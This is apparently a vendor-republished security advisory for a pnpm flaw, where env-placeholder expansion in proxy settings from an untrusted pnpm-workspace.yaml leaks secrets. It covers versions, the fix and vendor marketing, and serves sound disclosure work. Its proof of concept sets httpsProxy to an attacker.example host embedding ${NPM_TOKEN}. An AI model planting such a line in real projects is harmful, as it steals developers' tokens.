Summary
pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml
pnpm expands ${VAR} environment placeholders in the httpProxy / httpsProxy / noProxy settings read from a project's pnpm-workspace.yaml. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs pnpm install in can route all install traffic through an attacker proxy whose hostname or userinfo embeds, and thereby exfiltrates, an environment secret such as NPM_TOKEN or GITHUB_TOKEN.
This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for registry, pnprServer, registries and namedRegistries when they come from an untrusted project manifest, and the sibling .npmrc reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.
Affected versions
Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.
- pnpm 11.x:
>= 11.0.0, < 11.11.0 - pnpm 10.x:
>= 10.7.0, < 10.34.5
The Rust port (pacquet) and the registry server (pnpr) are not affected.
Workarounds
Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's pnpm-workspace.yaml for proxy settings before installing.
Proof of concept
# pnpm-workspace.yaml in an untrusted repository
packages:
- .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"
With NPM_TOKEN set in the victim's environment, pnpm install expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.
Unit level:
process.env.PNPM_TEST_TOKEN = 'secret'
const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })
// Vulnerable: o.httpsProxy === 'http://secret.evil/'
// Patched: o.httpsProxy === undefined
Using registry or pnprServer in place of httpsProxy does not leak on either version, those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.
Credit
Reported privately. A second finding in the original report, the Authorization header being retained across a same-host https -> http redirect, was assessed and is not treated as a pnpm vulnerability: npm (make-fetch-happen, minipass-fetch), Yarn (got) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.
Impact
An attacker who controls only the contents of a repository's pnpm-workspace.yaml, a public repo, a fork, or a supply-chain pull request, can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, node_modules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.
This turns "I can author a project manifest" into "I read the victim's environment secrets."
GHSA-VX52-2968-3VC6 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (11.11.0, 10.34.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- pnpm 11.11.0 and later
- pnpm 10.34.5 and later
The fix adds httpProxy, httpsProxy, noProxy, proxy and noproxy to the request-destination key set in @pnpm/config.reader (src/getOptionsFromRootManifest.ts), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded, matching the existing registry / pnprServer handling and the .npmrc reader's isRequestDestinationValueKey. Regression tests cover the proxy keys.
Frequently Asked Questions
- What is GHSA-VX52-2968-3VC6? GHSA-VX52-2968-3VC6 is a high-severity security vulnerability in pnpm (npm), affecting versions >= 11.0.0, < 11.11.0. It is fixed in 11.11.0, 10.34.5.
- How severe is GHSA-VX52-2968-3VC6? GHSA-VX52-2968-3VC6 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pnpm are affected by GHSA-VX52-2968-3VC6? pnpm (npm) versions >= 11.0.0, < 11.11.0 is affected.
- Is there a fix for GHSA-VX52-2968-3VC6? Yes. GHSA-VX52-2968-3VC6 is fixed in 11.11.0, 10.34.5. Upgrade to this version or later.
- Is GHSA-VX52-2968-3VC6 exploitable, and should I be worried? Whether GHSA-VX52-2968-3VC6 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-VX52-2968-3VC6 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-VX52-2968-3VC6?
- Upgrade
pnpmto 11.11.0 or later - Upgrade
pnpmto 10.34.5 or later
- Upgrade